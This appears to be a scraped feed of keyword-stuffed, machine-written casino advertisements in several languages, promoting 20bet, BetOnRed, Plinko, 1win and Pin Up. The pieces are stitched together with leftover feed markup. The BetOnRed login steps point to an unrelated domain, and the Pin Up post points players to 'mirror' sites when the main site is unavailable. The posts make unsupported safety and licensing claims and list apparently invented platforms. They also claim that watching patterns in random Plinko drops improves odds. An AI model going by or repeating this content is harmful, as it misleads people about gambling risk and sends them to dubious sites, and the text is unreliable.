    Η 20bet.gr είναι η ιδανική επιλογή για όσους αναζητούν ποικιλία σε γεγονότα και παιχνίδια. Από το 20bet casino έως τα αθλητικά στοιχήματα, η 20bet bet καλύπτει όλες τις ανάγκες σας. Επιπλέον, η 20bet app σας επιτρέπει να παίζετε από οπουδήποτε και ανά πάσα στιγμή.

    Για τους λάτρεις των καζίνο, το 20 bet casino προσφέρει μια ευρεία γκάμα παιχνιδιών, από κλασικά τραπέζια έως καινοτόμες σλοτ. Η 20βετ στην Ελλάδα είναι γνωστή για την αξιοπιστία και την ποιότητα των υπηρεσιών της.

    Αν είστε έτοιμοι να ζήσετε την καλύτερη εμπειρία στοιχήματος, η 20bet greece είναι η τέλεια επιλογή. Επισκεφτείτε το 20bet.gr ή κατεβάστε την 20bet app και ξεκινήστε την περιπέτειά σας σήμερα!

    ]]>
    BetOnRed Kasyno PL – Jak Zalogować Się Do Bet On Red Casino https://aimecu.org/betonred-kasyno-pl-jak-zalogowac-sie-do-bet-on-red-casino-2/ Thu, 13 Feb 2025 15:12:35 +0000 https://aimecu.org/?p=22610

    Содержимое

    BetOnRed Kasyno PL – Jak Zalogować Się Do Bet On Red Casino

    Odkryj świat BetOnRed – najlepsze kasyno online! Bet on Red Casino oferuje niezapomniane emocje i wyjątkowe nagrody. Zaloguj się już teraz na swoje konto w BetOnRed i ciesz się pełnym dostępem do naszych gier. betonred pl gwarantuje bezpieczeństwo i satysfakcję każdego gracza. Przekonaj się sam, dlaczego BetOnRed Kasyno ma tak wiele pozytywnych bet on red opinie i betonred opinie. Dołącz do nas i zacznij swoją przygodę z BetOnRed Casino już dziś!

    Dostęp do BetOnRed Kasyno PL

    BetOnRed Kasyno PL oferuje łatwy i szybki dostęp do swoich usług za pomocą BetOnRed Casino Login. Bez względu na to, czy korzystasz z komputera, tabletu czy smartfona, możesz cieszyć się grą w BetOnRed w każdym miejscu i o każdej porze.

    Dla tych, którzy preferują mobilne rozwiązania, BetOnRed Aplikacja jest idealnym wyborem. Dzięki niej możesz uzyskać dostęp do BetOnRed Kasyno bezpośrednio z urządzenia mobilnego, co zapewnia jeszcze większą wygodę i mobilność.

    Jeśli szukasz więcej informacji, warto przeczytać BetOnRed Opinie, które pomogą Ci lepiej zrozumieć, dlaczego Bet On Red Casino jest jednym z ulubionych kasyn wśród graczy.

    Niezależnie od tego, czy wybierasz BetOnRed PL czy Bet On Red Kasyno, gwarantujemy, że dostęp do naszych usług jest prosty i bezproblemowy, a rozrywka niezapomniana.

    Proces Logowania w Bet On Red Casino

    Logowanie do BetOnRed Kasyno PL jest szybkie i intuicyjne. Aby uzyskać dostęp do swojego konta, wystarczy wejść na stronę https://www.fordblueovalnetwork.org i kliknąć przycisk “Login”.

    Krok
    Opis

    1 Otwórz stronę https://www.fordblueovalnetwork.org. 2 Kliknij przycisk “Login” w prawym górnym rogu strony. 3 Wprowadź swój adres e-mail i hasło. 4 Kliknij “Zaloguj się”, aby uzyskać dostęp do swojego konta w Bet On Red Casino.

    Jeśli jeszcze nie masz konta, możesz je założyć klikając “Rejestracja”. Dla użytkowników mobilnych dostępna jest również https://www.fordblueovalnetwork.org, która umożliwia szybkie logowanie z poziomu urządzenia mobilnego.

    Po zalogowaniu, będziesz miał dostęp do wszystkich funkcji Bet On Red Kasyno, w tym do gier, promocji i możliwości zarządzania kontem. Nie zapomnij sprawdzić https://www.fordblueovalnetwork.org, aby dowiedzieć się, co inni gracze myślą o naszym kasynie.

    Bezpieczeństwo Logowania

    W BetOnRed Kasyno PL dbamy o bezpieczeństwo naszych graczy. Dlatego też, przy logowaniu do Bet On Red Casino, stosujemy najnowsze technologie zabezpieczające, aby Twoje dane były chronione przed niepowołanym dostępem.

    • Szyfrowanie danych: Wszystkie informacje przesyłane podczas betonred casino login są szyfrowane za pomocą protokołu SSL, zapewniając, że Twoje dane są bezpieczne.
    • Weryfikacja dwuetapowa: Dla dodatkowego bezpieczeństwa oferujemy weryfikację dwuetapową, która wymaga podania kodu wysłanego na Twój telefon lub e-mail po wprowadzeniu hasła.
    • Regularne aktualizacje systemu: Nasz system jest regularnie aktualizowany, aby być na bieżąco z najnowszymi zagrożeniami i lukami w zabezpieczeniach.

    Jeśli masz jakiekolwiek pytania dotyczące bezpieczeństwa logowania, zapraszamy do kontaktu z naszym zespołem wsparcia klienta. Dzięki betonred aplikacja możesz cieszyć się grą w bet on red kasyno zawsze i wszędzie, mając pewność, że Twoje dane są chronione.

    Pamiętaj, że w betonred dbamy o Twoje bezpieczeństwo, dlatego zawsze zachęcamy do korzystania z silnych haseł i nie udostępniania ich nikomu. Dzięki temu możesz cieszyć się grą w bet on red casino bez obaw.

    Jeśli szukasz więcej informacji na temat naszych zabezpieczeń, zapoznaj się z naszymi betonred opinie lub odwiedź naszą stronę betonred pl.

    Dostępne Metody Płatności

    W BetOnRed Kasyno PL oferujemy szeroki wybór metod płatności, aby zapewnić naszym graczom maksymalną wygodę i bezpieczeństwo. W Bet On Red Casino możesz dokonywać wpłat i wypłat za pomocą:

    – Karty kredytowe i debetowe

    – Przelewy bankowe

    – Portfele elektroniczne, takie jak Skrill, Neteller i PayPal

    – Systemy płatności mobilnych, w tym Blik

    – Bitcoin i inne kryptowaluty

    Dzięki naszej elastyczności finansowej, gracze mogą cieszyć się gładkim procesem transakcyjnym, niezależnie od wybranej metody. BetOnRed aplikacja również wspiera te opcje, dzięki czemu możesz zarządzać swoim kontem z dowolnego miejsca. W BetOnRed opinie naszych użytkowników są pozytywne, a wiele z nich docenia szybkie i bezproblemowe transakcje. Red On Bet Casino dba o to, aby każda płatność była bezpieczna i szybka. Niezależnie od tego, czy logujesz się na stronie internetowej, czy przez BetOnRed Casino Login, dostęp do naszych usług finansowych jest zawsze prosty i intuicyjny.

    Promocje i Bonusy dla Nowych Użytkowników

    Dołącz do BetOnRed Kasyno i odkryj niezwykłe promocje i bonusy dla nowych użytkowników! W BetOnRed Casino czeka na Ciebie specjalny pakiet powitalny, który pozwoli Ci rozpocząć grę z większym entuzjazmem. Sprawdź nasze betonred opinie i przekonaj się, dlaczego gracze cenią naszą ofertę.

    Zarejestruj się na betonred.pl i skorzystaj z naszej aplikacji mobilnej, aby mieć dostęp do promocji w każdym momencie. Niezależnie od tego, czy wolisz gry na komputerze czy smartfonie, betonred aplikacja zapewni Ci płynne doświadczenie. Nie czekaj, zdobądź bonusy i zacznij swoją przygodę z bet on red kasyno już dziś!

    Pamiętaj, że bet on red opinie są pozytywne, a nasze kasyno jest bezpiecznym i godnym zaufania miejscem do gry. Zaloguj się na betonred casino login i odkryj świat emocji, który czeka na Ciebie w red on bet casino.

    Gry i Automaty w Bet On Red Casino

    W BetOnRed Kasyno PL oferujemy szeroką gamę gier, które zadowolą nawet najbardziej wymagających graczy. Nasza platforma, znana jako betonred casino, jest doskonałym wyborem dla tych, którzy szukają emocji i wysokich wygranych.

    • Automaty: Odkryj setki automatów, w tym klasyczne i nowoczesne sloty. Wszystkie nasze gry są dostępne na betonred aplikacja, dzięki czemu możesz grać wszędzie, gdzie tylko chcesz.
    • Gry stołowe: Jeśli wolisz tradycyjne gry, BetOnRed Casino oferuje blackjacka, ruletkę, bakarata i wiele innych. Wszystkie gry są dostępne na betonred pl, zapewniając płynną i bezproblemową rozgrywkę.
    • Gry na żywo: Doświadcz autentycznego kasyna w domu dzięki naszym grach na żywo. Dzięki bet on red kasyno, możesz grać z prawdziwymi krupierami i innymi graczami z całego świata.

    Nasze betonred opinie są pozytywne, a gracze doceniają naszą szeroką ofertę gier i wysoki poziom usług. Dzięki bet on red casino login, uzyskasz natychmiastowy dostęp do wszystkich naszych gier i promocji.

    Nie czekaj! Dołącz do red on bet casino już dziś i odkryj świat emocji i wygranych!

    Wsparcie Klienta

    W BetOnRed Kasyno PL, dbamy o naszych graczy, oferując niezawodne wsparcie klienta. Nasz zespół jest dostępny 24/7, gotowy pomóc w każdej sytuacji. Czy to problem z logowaniem na betonred casino login, czy pytania dotyczące betonred aplikacja, jesteśmy tu, aby Ci pomóc.

    Nasze betonred opinie i bet on red opinie są dowodem na wysoki poziom obsługi klienta. Wierzymy, że dobre wsparcie to klucz do sukcesu, dlatego staramy się być jak najbardziej pomocni. Niezależnie od tego, czy grasz na betonred kasyno czy bet on red kasyno, możesz liczyć na naszą pomoc.

    Dzięki naszej szybkości reakcji i profesjonalizmowi, wszystkie Twoje pytania i problemy zostaną rozwiązane w najkrótszym możliwym czasie. Wsparcie klienta w betonred casino i red on bet casino to nasza najwyższa priorytet.

    Aktualizacje i Nowości

    W BetOnRed Kasyno PL stale wprowadzamy nowości, aby zapewnić naszym użytkownikom najlepsze doświadczenia. Ostatnio zaktualizowaliśmy naszą aplikację BetOnRed, dzięki czemu logowanie w Bet On Red Casino jest jeszcze szybsze i bardziej intuicyjne. Nowe funkcje w BetOnRed aplikacja pozwalają na łatwiejszy dostęp do ulubionych gier i promocji.

    W BetOnRed Kasyno nieustannie dodajemy nowe gry, aby spełnić oczekiwania naszych graczy. Jeśli szukasz czegoś nowego, sprawdź naszą sekcję “Nowości” w BetOnRed Casino, gdzie znajdziesz najnowsze tytuły od renomowanych dostawców. BetOnRed opinie od graczy są pozytywne, a Bet On Red opinie wskazują na wysoką jakość usług i gier.

    Pamiętaj, że logowanie w Bet On Red Casino jest bezpieczne i szybkie, a nasza obsługa klienta jest dostępna 24/7, aby pomóc w razie potrzeby. Dołącz do grona zadowolonych graczy w BetOnRed Kasyno i odkryj, dlaczego Bet On Red Casino jest jednym z ulubionych kasyn online.

    Jak Zarejestrować Konto w BetOnRed Kasyno PL

    Rejestracja w BetOnRed Kasyno PL to prosta i szybka procedura, która pozwoli Ci cieszyć się wszystkimi grami dostępnymi w Red On Bet Casino. Aby rozpocząć, odwiedź stronę betonred.pl i kliknij przycisk “Rejestracja”.

    Wypełnij formularz rejestracyjny, podając swoje dane osobowe, takie jak imię, nazwisko, adres e-mail i numer telefonu. Następnie wybierz swoją ulubioną metodę płatności i zdefiniuj hasło do konta.

    Po zakończeniu rejestracji, otrzymasz e-mail z potwierdzeniem. Kliknij w link weryfikacyjny, aby aktywować swoje konto w Bet On Red Casino. Teraz możesz zalogować się na swoje konto i zacząć grać w gry dostępne w betonred kasyno.

    Jeśli masz jakiekolwiek pytania lub problemy z rejestracją, skontaktuj się z działem obsługi klienta BetOnRed. Dzięki betonred aplikacji możesz również grać na urządzeniach mobilnych, zapewniając sobie dostęp do gier w dowolnym miejscu i czasie.

    Nie czekaj, zarejestruj się już dziś w BetOnRed Kasyno PL i odkryj, dlaczego betonred opinie są tak pozytywne. Bet On Red Casino oferuje wiele promocji i bonusów, które czekają na Ciebie!

    ]]>
    Plinko Casino Game Online Top Platforms for Big Wins and Exciting Gameplay https://aimecu.org/plinko-casino-game-online-top-platforms-for-big-wins-and-exciting-gameplay/ Thu, 13 Feb 2025 14:39:03 +0000 https://aimecu.org/?p=22590

    Содержимое

    Plinko Casino Game Online Top Platforms for Big Wins and Exciting Gameplay

    The plinko game online real money has become a sensation among casino enthusiasts, combining simplicity with the thrill of gambling. Inspired by the classic game show favorite, the plinko online game involves dropping a plinko ball down a pegged board, watching it bounce unpredictably before landing in a prize slot. This blend of chance and excitement makes it a standout choice for players seeking both entertainment and big wins.

    With the rise of digital gaming, the plinko gambling experience has evolved, offering players the chance to enjoy this iconic game from the comfort of their homes. Whether you’re playing on a plinko app or through an online casino platform, the plinko game delivers a unique mix of strategy and luck. The simplicity of dropping a plinko ball and waiting for the outcome keeps players coming back for more.

    For those looking to maximize their chances of winning, choosing the right platform is crucial. The best plinko online platforms offer fair gameplay, attractive bonuses, and seamless user experiences. Whether you’re a seasoned gambler or a newcomer, the plinko game online real money provides endless opportunities to test your luck and potentially walk away with impressive rewards.

    Understanding Plinko Game Mechanics

    The plinko game online real money is a thrilling blend of chance and strategy, making it a favorite among casino enthusiasts. Whether you’re playing a plinko online game or using a plinko app, understanding the mechanics is key to maximizing your wins.

    How Plinko Works

    In a plinko gambling setup, players drop a plinko ball from the top of a board filled with pegs. As the ball descends, it bounces off the pegs, creating a random path. The final landing position determines the payout, with higher rewards for landing in rare slots.

    • Plinko balls are released from the top of the board.
    • The ball’s path is influenced by the arrangement of pegs.
    • Payouts vary based on the slot where the ball lands.

    Key Features of Plinko Online

    When playing plinko online, several features enhance the experience:

  • Customizable Bets: Adjust your wager to fit your budget.
  • Multiple Boards: Choose from boards with different risk levels.
  • Real-Time Results: Watch the plinko ball drop and land instantly.
  • Whether you’re a beginner or a seasoned player, mastering the plinko game mechanics can significantly improve your chances of scoring big wins in plinko gambling.

    How the Game Works for Players

    The plinko game is a simple yet thrilling casino experience that combines luck and strategy. Players start by selecting a plinko ball and placing a bet. The ball is then dropped from the top of a vertical board filled with pegs. As it bounces off the pegs, the plinko ball moves unpredictably, creating suspense until it lands in one of the prize slots at the bottom.

    In plinko casino games, the outcome depends on where the plinko ball lands. Each slot corresponds to a different multiplier or payout, offering players the chance to win big. Plinko gambling platforms often allow players to adjust their bet size and choose different risk levels, influencing potential rewards.

    For those playing plinko online, the process is seamless. Whether on a plinko app or a desktop platform, the game mechanics remain the same. Players can enjoy plinko game online real money options, where they can cash out their winnings instantly. The simplicity and excitement of plinko make it a favorite among casino enthusiasts worldwide.

    Top Platforms for Plinko Enthusiasts

    For fans of plinko gambling, finding the right platform is key to maximizing enjoyment and potential wins. Below is a list of top platforms offering the best plinko online experience, along with their standout features.

    Platform
    Features

    PlinkoMaster High RTP, customizable plinko balls, and a user-friendly plinko app. LuckyPlinko Multiple plinko game variations, live leaderboards, and fast payouts. PlinkoCasinoPro Exclusive plinko casino bonuses, HD graphics, and secure gameplay. PlinkoWorld Interactive plinko online game with real-time multiplayer options. PlinkoFun Free-to-play plinko game mode, low minimum bets, and mobile compatibility.

    Whether you’re a seasoned player or new to the plinko ball drop excitement, these platforms cater to all levels of expertise. Choose your favorite and start your plinko journey today!

    Where to Play for Maximum Rewards

    If you’re looking to maximize your rewards while enjoying the thrill of the plinko online game, choosing the right platform is crucial. Many top-rated casinos and apps offer the plinko game online real money experience, allowing players to win big while having fun. Look for platforms with high payout rates and generous bonuses to enhance your plinko gambling journey.

    For those who prefer mobile gaming, a reliable plinko app can provide seamless gameplay and quick access to rewards. Ensure the app supports secure transactions and offers a variety of plinko balls to customize your experience. Whether you’re a beginner or a seasoned player, the best platforms combine user-friendly interfaces with exciting features to keep you engaged.

    When selecting a plinko casino, prioritize platforms with transparent rules and fair mechanics. The randomness of the plinko ball drop should be verified to ensure a genuine chance at winning. Additionally, platforms offering free trials or demo modes can help you practice before diving into plinko online real money games.

    Finally, don’t overlook platforms that reward loyalty. Many casinos offer exclusive bonuses, cashback, and VIP programs for frequent players of the plinko game. By choosing the right platform, you can enjoy the excitement of plinko online while maximizing your potential rewards.

    Strategies to Boost Your Winnings

    Mastering the plinko game requires a mix of strategy and luck. Start by choosing a reliable plinko casino platform that offers fair gameplay and high payouts. Understanding the mechanics of the plinko ball’s movement is crucial; observe patterns and adjust your bets accordingly.

    In plinko gambling, managing your bankroll is key. Set a budget and stick to it, ensuring you don’t overspend while chasing big wins. Experiment with different plinko balls and drop points to find the most profitable combinations in the plinko online game.

    For those playing the plinko game online real money, take advantage of bonuses and promotions offered by plinko apps. These can increase your chances of winning without additional risk. Lastly, practice patience and consistency–small, calculated bets often lead to better results over time.

    Tips for Better Odds and Payouts

    Playing the plinko game online real money can be both thrilling and rewarding if you approach it strategically. Here are some tips to improve your odds and maximize your payouts:

    Understand the Plinko Ball Mechanics

    The plinko ball is the core element of the game. Its path determines your win or loss. To increase your chances:

    • Study the board layout and how the plinko balls interact with pegs.
    • Experiment with different drop positions to see how they affect outcomes.
    • Observe patterns in previous drops to predict potential results.

    Choose the Right Plinko Casino

    Not all platforms are equal when it comes to plinko gambling. To ensure better payouts:

  • Select reputable plinko casino sites with fair RTP (Return to Player) rates.
  • Look for platforms offering bonuses or promotions for plinko online game players.
  • Check reviews to ensure the platform is trustworthy and secure.
  • By combining these strategies, you can enhance your experience with plinko online and increase your chances of winning big!

    Comparing Plinko Across Online Casinos

    When it comes to plinko gambling, not all online casinos are created equal. The plinko game has gained immense popularity, but the experience can vary significantly depending on the platform. Here’s what to look for when comparing plinko online options.

    Game Variations and Features

    Different casinos offer unique twists on the classic plinko ball drop. Some platforms provide customizable boards, allowing players to adjust the number of pins or rows. Others include bonus multipliers or special plinko balls that enhance winning potential. If you’re playing plinko game online real money, these features can make a big difference in your payout.

    Platform Accessibility

    Whether you prefer playing on a desktop or a plinko app, accessibility is key. Some casinos excel with user-friendly mobile apps, while others focus on seamless browser-based gameplay. Ensure the platform you choose supports your preferred device for a smooth plinko casino experience.

    By comparing these factors, you can find the best plinko platform to maximize your chances of big wins.

    ]]>
    1win Casino Online y Casa de Apuestas Ideal para Todos los Gustos https://aimecu.org/1win-casino-online-y-casa-de-apuestas-ideal-para-todos-los-gustos/ Thu, 13 Feb 2025 14:37:20 +0000 https://aimecu.org/?p=22596

    Содержимое

    1win Casino Online y Casa de Apuestas Ideal para Todos los Gustos

    En el mundo del entretenimiento digital, 1win casino se ha posicionado como una de las plataformas más completas y versátiles. Con una amplia gama de opciones, desde juegos de casino hasta apuestas deportivas, 1 win ofrece una experiencia única para todos los gustos y preferencias.

    Ya sea que busques emocionantes partidas en el 1win casino en línea o desees probar suerte en las 1win apuestas deportivas, esta plataforma combina diversión, seguridad y oportunidades de ganar. Su interfaz intuitiva y su atención al detalle la convierten en una opción ideal tanto para principiantes como para expertos.

    Explora 1win app todo lo que 1win tiene para ofrecer y descubre por qué es una de las opciones favoritas para los amantes de los juegos de azar y las apuestas en línea. ¡La diversión y las posibilidades están a solo un clic de distancia!

    Descubre la variedad de juegos en 1win

    En 1win casino en línea, encontrarás una amplia selección de juegos diseñados para satisfacer todos los gustos. Desde emocionantes tragamonedas hasta clásicos de mesa como blackjack y ruleta, 1win ofrece opciones para principiantes y expertos por igual.

    Además de los juegos de casino, 1win apuestas deportivas te permite disfrutar de una experiencia única en el mundo de las apuestas. Con eventos en vivo y mercados variados, 1 win se convierte en el destino ideal para los amantes del deporte.

    Ya sea que prefieras explorar el casino en línea o sumergirte en las 1win apuestas, esta plataforma combina diversión, emoción y oportunidades de ganar en un solo lugar. ¡Descubre todo lo que 1win tiene para ofrecerte!

    Explora opciones para todos los jugadores

    En 1win, encontrarás un mundo de posibilidades diseñado para satisfacer a todo tipo de jugadores. Ya sea que prefieras el emocionante ambiente del 1win casino en línea o las apuestas deportivas en 1win apuestas, nuestra plataforma ofrece algo para cada gusto.

    Opción
    Descripción

    Casino en línea Disfruta de una amplia variedad de juegos en 1win casino, desde tragamonedas hasta juegos de mesa clásicos. Apuestas deportivas Realiza apuestas en tus deportes favoritos con 1win apuestas, ofreciendo mercados competitivos y cuotas atractivas. Juegos en vivo Experimenta la emoción de los juegos en vivo con crupieres reales en 1 win, ideal para quienes buscan una experiencia auténtica.

    Con 1win, no importa si eres un principiante o un jugador experimentado, siempre encontrarás opciones adaptadas a tus preferencias. ¡Explora y descubre todo lo que 1win casino tiene para ofrecerte!

    Beneficios exclusivos para usuarios nuevos

    En 1win, los nuevos usuarios pueden disfrutar de una serie de ventajas diseñadas para mejorar su experiencia desde el primer momento. Ya sea que te interesen las 1win apuestas deportivas o prefieras explorar el emocionante mundo del 1win casino, aquí encontrarás ofertas especiales que te darán un impulso inicial.

    Bono de bienvenida

    Al registrarte en 1 win, recibirás un generoso bono de bienvenida que podrás utilizar tanto en 1win apuestas como en los juegos de casino. Este bono se divide en varias etapas, permitiéndote maximizar tus ganancias desde el principio.

    • Primer depósito: obtén un 100% de bonificación hasta un límite establecido.
    • Segundo y tercer depósito: recibe bonos adicionales para seguir disfrutando.

    Apuestas gratuitas

    Además del bono de bienvenida, los nuevos usuarios de 1win pueden acceder a apuestas gratuitas en eventos deportivos seleccionados. Esto te permite probar las 1win apuestas deportivas sin arriesgar tu propio dinero.

  • Regístrate y realiza tu primer depósito.
  • Recibe apuestas gratuitas en tu cuenta.
  • Úsalas en los eventos deportivos que prefieras.
  • No importa si eres un fanático de los deportes o un amante de los juegos de casino, en 1win encontrarás beneficios exclusivos que harán que tu experiencia sea aún más emocionante. ¡Aprovecha estas ofertas y comienza a ganar hoy mismo!

    Maximiza tus ganancias desde el inicio

    En 1win apuestas, tienes la oportunidad de aumentar tus ganancias desde el primer momento. La plataforma de 1win casino en línea ofrece una amplia variedad de juegos y opciones de apuestas diseñadas para satisfacer todos los gustos y niveles de experiencia.

    Al registrarte en 1win, podrás acceder a bonos de bienvenida y promociones exclusivas que te ayudarán a potenciar tus primeras apuestas. Además, en 1win casino, encontrarás juegos con altos porcentajes de retorno, lo que maximiza tus posibilidades de éxito.

    No importa si prefieres los slots, las apuestas deportivas o los juegos de mesa en vivo, 1 win te brinda las herramientas necesarias para tomar decisiones informadas y aumentar tus ganancias. ¡Aprovecha al máximo tu experiencia en 1win casino en línea y comienza a ganar hoy mismo!

    Seguridad y confianza en cada apuesta

    En 1win, la seguridad de los usuarios es una prioridad absoluta. Cada apuesta y transacción en 1win casino en línea está protegida con los más altos estándares de cifrado, garantizando que tus datos personales y financieros estén siempre seguros.

    • Protección avanzada: Utilizamos tecnología SSL para asegurar que todas las operaciones en 1win apuestas sean completamente confidenciales.
    • Juego responsable: En 1win casino, promovemos prácticas de juego seguro, ofreciendo herramientas para gestionar límites de depósito y tiempo de juego.
    • Transparencia: Cada resultado en 1 win es verificado y auditado por sistemas independientes, asegurando justicia en cada partida.

    Además, 1win cuenta con licencias internacionales que respaldan su operación, garantizando un entorno de juego confiable y regulado. Ya sea en 1win apuestas o en el 1win casino, puedes disfrutar con total tranquilidad.

  • Regístrate en 1win de manera rápida y segura.
  • Realiza tus apuestas o juega en el 1win casino en línea con confianza.
  • Disfruta de una experiencia libre de preocupaciones, respaldada por la seguridad de 1 win.
  • Protección avanzada para tus transacciones

    En 1win casino en línea, la seguridad de tus transacciones es una prioridad absoluta. Utilizamos tecnología de cifrado de última generación para garantizar que todos tus depósitos y retiros estén protegidos en todo momento. Ya sea que disfrutes de 1win apuestas deportivas o prefieras los emocionantes juegos de casino, puedes confiar en que tus datos financieros están seguros.

    Además, 1win apuestas cuenta con sistemas de verificación avanzados que protegen tu cuenta contra accesos no autorizados. Cada operación en 1 win está respaldada por protocolos de seguridad rigurosos, asegurando que tus fondos y tu información personal estén siempre a salvo.

    Con 1win, puedes disfrutar de una experiencia de juego sin preocupaciones, sabiendo que tus transacciones están protegidas con los más altos estándares de seguridad en la industria.

    ]]>
    Plinko Casino Game Online Dive into the Thrill of Plinko Balls https://aimecu.org/plinko-casino-game-online-dive-into-the-thrill-of-plinko-balls/ Thu, 13 Feb 2025 14:35:17 +0000 https://aimecu.org/?p=22592

    Содержимое

    Plinko Casino Game Online Dive into the Thrill of Plinko Balls

    The plinko game has taken the online casino world by storm, offering players a unique blend of chance and excitement. With its simple yet captivating mechanics, the plinko online game has become a favorite among both casual players and seasoned gamblers. Whether you’re playing for fun or aiming to win real money, the thrill of watching the plinko ball bounce down the board is unmatched.

    In the plinko casino experience, players drop a plinko ball from the top of a pyramid-shaped board, watching as it navigates through a series of pegs before landing in a prize slot. The unpredictability of each drop makes the plinko game online real money version particularly thrilling. With every spin, you have the chance to win big, making it a perfect choice for those who enjoy high-stakes entertainment.

    For those who prefer gaming on the go, the plinko app offers a seamless experience, allowing you to enjoy the plinko online action anytime, anywhere. The convenience of mobile gaming combined with the excitement of the plinko balls makes it a must-try for any casino enthusiast. Dive into the world of plinko today and discover why this game continues to captivate players around the globe.

    Discover the Thrill of Plinko Casino Game

    Experience the excitement of the plinko online game, where every drop of the plinko ball brings a rush of anticipation. This classic game has been reimagined for the digital age, allowing players to enjoy the thrill of plinko casino from the comfort of their homes.

    Whether you’re playing the plinko game on a desktop or through a plinko app, the simplicity and unpredictability of the game make it a favorite among casino enthusiasts. The plinko gambling experience is enhanced by the chance to win real money, especially when you play plinko game online real money versions.

    With its vibrant design and engaging mechanics, plinko online offers endless entertainment. Watch as the plinko ball bounces through the pegs, creating suspense with every move. Will it land on a high multiplier or a low one? The outcome is always a surprise!

    Join the growing community of players who have discovered the joy of plinko casino. Whether you’re a seasoned gambler or a casual player, the plinko game is sure to keep you entertained and coming back for more.

    How Plinko Balls Create Endless Entertainment

    The plinko game online real money has taken the gambling world by storm, offering players a unique blend of chance and excitement. At the heart of this thrilling experience are the plinko balls, which create endless entertainment as they bounce unpredictably through the pegs. Whether you’re playing a plinko online game or using a plinko app, the anticipation of where the ball will land keeps players hooked.

    In a plinko casino, the simplicity of the game is its charm. Players drop a plinko ball from the top of the board, watching it cascade down through a maze of obstacles. The randomness of each bounce ensures that no two games are ever the same, making plinko gambling a truly dynamic experience. This unpredictability is what makes plinko online so addictive and enjoyable.

    Feature
    Why It Excites Players

    Random Bounces Keeps the outcome unpredictable and thrilling. Simple Gameplay Easy to understand, making it accessible to all. Real Money Rewards Adds an extra layer of excitement to every drop.

    With plinko balls at the core of the action, the game offers a perfect balance of luck and strategy. Whether you’re aiming for high multipliers or just enjoying the ride, plinko online delivers non-stop fun. The combination of visual appeal and the chance to win real money makes plinko casino games a favorite among players worldwide.

    Mastering Plinko: Tips for Strategic Play

    Plinko is a thrilling game of chance, but with the right approach, you can enhance your experience and potentially improve your outcomes. Whether you’re playing a plinko online game for fun or engaging in plinko gambling for real money, these tips can help you make the most of every plinko ball drop.

    Start by understanding the mechanics of the plinko game. The plinko ball’s path is determined by a series of pegs, creating a random yet fascinating journey. While you can’t control the exact outcome, you can choose where to drop the plinko ball. Experiment with different starting positions to see how they affect the results.

    When playing plinko online, manage your bankroll wisely. Set a budget before you start and stick to it, especially if you’re playing plinko game online real money. This ensures you enjoy the excitement without risking more than you can afford.

    Pay attention to the payout structure in plinko casino games. Higher-risk drops may offer bigger rewards, but they also come with greater uncertainty. Balance your strategy by mixing high and low-risk drops to keep the game engaging and potentially profitable.

    Lastly, practice makes perfect. Many plinko online platforms allow you to play for free, giving you the chance to refine your strategy before diving into plinko gambling with real stakes. Use this opportunity to get comfortable with the game and develop your own unique approach to mastering plinko balls.

    Maximize Your Wins with Smart Betting

    Plinko gambling is not just about luck; it’s about strategy and smart decisions. Whether you’re playing the plinko game online or using a plinko app, these tips will help you increase your chances of winning real money.

    • Start Small: Begin with lower bets in the plinko online game to understand the mechanics and patterns of the plinko balls.
    • Set a Budget: Decide how much you’re willing to spend in the plinko casino and stick to it. This ensures you play responsibly.
    • Choose the Right Risk Level: In the plinko game online real money version, higher risk levels can lead to bigger payouts, but they also come with greater chances of losing. Balance your choices.
  • Observe Patterns: Watch how the plinko balls drop and land. Over time, you may notice trends that can guide your betting strategy.
  • Use Bonuses Wisely: Many plinko online platforms offer bonuses. Use them to extend your gameplay without risking your own money.
  • Practice First: If you’re new to plinko gambling, try free versions of the plinko game to get comfortable before betting real money.
  • By applying these strategies, you can make the most of your plinko casino experience. Remember, the key to success in plinko online is a mix of patience, observation, and smart betting.

    Why Plinko is a Fan-Favorite Online

    The plinko game has become a beloved choice for online casino enthusiasts worldwide. Its simplicity, combined with the thrill of watching the plinko ball bounce unpredictably, makes it an irresistible option for players of all levels. Whether you’re playing the plinko online game for fun or aiming to win big with plinko game online real money, the excitement is unmatched.

    Easy to Play, Hard to Put Down

    One of the main reasons the plinko casino game is so popular is its straightforward gameplay. Players simply drop the plinko balls and watch as they navigate through pegs, landing in various payout slots. This simplicity, paired with the anticipation of where the ball will land, keeps players coming back for more.

    Accessible Anytime, Anywhere

    With the rise of the plinko app and plinko online platforms, fans can enjoy this thrilling game from the comfort of their homes or on the go. The convenience of playing plinko on mobile devices or desktops has made it a top choice for casual and serious gamers alike.

    Whether you’re a seasoned player or new to the world of online casinos, the plinko game offers endless entertainment and the chance to win exciting rewards. Its unique blend of simplicity and unpredictability ensures it remains a fan-favorite in the online gaming community.

    Exploring the Popularity of This Simple Game

    The plinko game has become a sensation in the world of online gambling, captivating players with its simplicity and excitement. Its rise in popularity can be attributed to several key factors:

    • Easy to Play: The plinko online game requires no complex rules or strategies, making it accessible to both beginners and experienced players.
    • Thrilling Gameplay: Watching the plinko ball bounce unpredictably through the pegs creates a sense of anticipation and excitement.
    • Real Money Rewards: Many players are drawn to the plinko game online real money option, where they can win cash prizes with every drop.

    Additionally, the availability of plinko apps has made it easier than ever to enjoy this classic game on the go. Whether you’re playing for fun or engaging in plinko gambling, the appeal of the plinko balls dropping and landing in high-reward slots is undeniable.

  • Its straightforward mechanics make it a favorite among casual gamers.
  • The element of chance keeps players coming back for more.
  • Online platforms have enhanced the experience with vibrant graphics and sound effects.
  • From its origins as a TV game show staple to its modern adaptation as a plinko online sensation, this game continues to charm players worldwide.

    ]]>
    ПинАпКазиноОфициальныйСайтИгратьОнлайнВходЗеркало https://aimecu.org/pinapkazinoofitsialnyysaytigratonlaynvkhodzerkalo/ Thu, 13 Feb 2025 14:27:41 +0000 https://aimecu.org/?p=22616

    Содержимое

    ПинАпКазиноОфициальныйСайтИгратьОнлайнВходЗеркало

    Пин Ап Казино – это ваш шанс погрузиться в мир ярких эмоций и крупных выигрышей. Официальный сайт PinUp Казино предлагает огромный выбор игр, щедрые бонусы и моментальный вход. Не упустите возможность стать частью легендарного pin up !

    Пин Ап Казино: Официальный сайт

    • Официальный сайт пинап казино предоставляет доступ к сотням игровых автоматов и настольных игр.
    • Pinup гарантирует быстрые выплаты и круглосуточную поддержку для всех игроков.
    • Регулярные акции и бонусы для новых и постоянных пользователей.

    Не упустите возможность стать частью сообщества Пин Ап Казино. На сайте Pin Up вы сможете:

  • Создать аккаунт и получить приветственный бонус.
  • Играть в пинап казино через зеркало, если основной сайт недоступен.
